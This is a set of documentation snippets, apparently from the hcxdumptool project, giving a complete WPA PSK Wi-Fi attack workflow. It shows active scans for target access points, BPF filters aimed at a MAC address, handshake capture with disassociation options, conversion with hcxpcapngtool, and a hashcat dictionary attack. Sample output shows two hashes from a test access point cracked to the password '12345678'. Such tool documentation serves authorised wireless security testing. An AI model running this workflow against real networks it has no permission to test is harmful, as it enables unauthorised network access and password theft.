### Hashcat Cracking Process Output Example

Source: https://github.com/zerbea/hcxdumptool/blob/master/docs/example.md

This is an example output from a Hashcat WPA PSK cracking session. It shows the Hashcat version, detected hardware, attack parameters, dictionary cache statistics, and the status of the cracking process, including recovered hashes and speed.

```text
hashcat (v7.1.2-382-g2d71af371) starting

CUDA API (CUDA 13.1)
====================
* Device #01: NVIDIA GeForce RTX 4080, 15701/15945 MB, 76MCU

OpenCL API (OpenCL 3.0 CUDA 13.1.112) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #02: NVIDIA GeForce RTX 4080, skipped

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 4406 MB (57159 MB free)

Dictionary cache built:
* Filename..: wordlist
* Passwords.: 2856483
* Bytes.....: 31389246
* Keyspace..: 2856483
* Speed.....: 605 MiB/s
* Runtime...: 0.05s

452977dd851b12891cdac3b767cdf42e:ccce1edc3bee:ced2f3e34efc:AP_7272:12345678
7d47aae049369991cd38f22d27da218b:ccce1edc3bee:1246d6b3d1c3:AP_7272:12345678
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: testap.hc22000
Time.Started.....: Thu Jan 22 08:52:26 2026 (0 secs)
Time.Estimated...: Thu Jan 22 08:52:26 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 8-63 bytes)
Guess.Base.......: File (wordlist)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  1496.8 kH/s (8.84ms) @ Accel:4 Loops:512 Thr:384 Vec:1
Recovered........: 2/2 (100.00%) Digests (total), 2/2 (100.00%) Digests (new)
Progress.........: 116741/2856483 (4.09%)
Rejected.........: 5/116741 (0.00%)
Restore.Point....: 0/2856483 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:1-3
Candidate.Engine.: Device Generator
Candidates.#01...: $HEX[2020202020202020] -> 20217238
Hardware.Mon.#01.: Temp: 31c Fan:  0% Util:  0% Core:2865MHz Mem:10801MHz Bus:16

Started: Thu Jan 22 08:52:24 2026
Stopped: Thu Jan 22 08:52:28 2026
```

--------------------------------

### Convert pcapng to hc22000 format using hcxpcapngtool

Source: https://github.com/zerbea/hcxdumptool/blob/master/docs/example.md

This command converts a captured .pcapng file into a format suitable for Hashcat. It requires the hcxpcapngtool utility to be installed and accessible in the system path.

```bash
hcxpcapngtool -o testap.hc22000 testap.pcapng
```

--------------------------------

### Hashcat Dictionary Attack for WPA PSK

Source: https://github.com/zerbea/hcxdumptool/blob/master/docs/example.md

This command initiates a dictionary attack using Hashcat to crack WPA PSK. It specifies the hash mode, a potfile for storing cracked hashes, the input hash file, and the wordlist to use for cracking. Ensure the wordlist and hash file are accessible.

```bash
hashcat -m 22000 --potfile-path=hashcat.wpa.pot testap.hc22000 wordlist
```

--------------------------------

### Verify Traffic with Tshark

Source: https://github.com/zerbea/hcxdumptool/blob/master/docs/example.md

Commands to monitor traffic or test BPF filters using tshark to ensure the capture configuration is working as expected before running the full attack.

```bash
tshark -i INTERFACE_NAME
tshark -i INTERFACE_NAME -f "wlan addr1 ccce1edc3bee or wlan addr2 ccce1edc3bee or wlan addr3 ccce1edc3bee or type mgt subtype probereq"
```

--------------------------------

### Generate BPF Filters for Targeted Attacks

Source: https://github.com/zerbea/hcxdumptool/blob/master/docs/example.md

Commands to generate Berkeley Packet Filters (BPF) for targeting or protecting specific MAC addresses. These filters are essential for isolating traffic during the capture process.

```bash
hcxdumptool --bpfc="wlan addr1 ccce1edc3bee or wlan addr2 ccce1edc3bee or wlan addr3 ccce1edc3bee or type mgt subtype probereq" > attack.bpf
hcxdumptool --bpfc="not wlan addr3 ccce1edc3bee" > protect.bpf
```

--------------------------------

### Execute hcxdumptool Capture Attack

Source: https://github.com/zerbea/hcxdumptool/blob/master/docs/example.md

Commands to initiate the packet capture process using a previously defined BPF filter. Includes variations for controlling probe responses and disassociation behavior.

```bash
sudo hcxdumptool -i wlan0 -c 11a --bpf=attack.bpf -w testap.pcapng
sudo hcxdumptool -i wlan0 --rds=3 -c 11a --proberesponsetx=0 --bpf=attack.bpf -w testap.pcapng
sudo hcxdumptool -i wlan0 --rds=3 -c 11a --disable_disassociation --bpf=attack.bpf -w testap.pcapng
sudo hcxdumptool -i wlan0 --rds=3 -c 11a --proberesponsetx=0 --disable_disassociation --bpf=attack.bpf -w testap.pcapng
```

--------------------------------

### Scan and Identify Target Network Information

Source: https://github.com/zerbea/hcxdumptool/blob/master/docs/example.md

Commands to perform active scanning on a network interface to identify ESSID, channel, and MAC address of target access points. These commands help determine if a target is within range for an attack.

```bash
hcxdumptool -i INTERFACE_NAME --rcascan=active --rds=1 -F
hcxdumptool -i INTERFACE_NAME --rcascan=active --rds=5 -F
```

=== COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.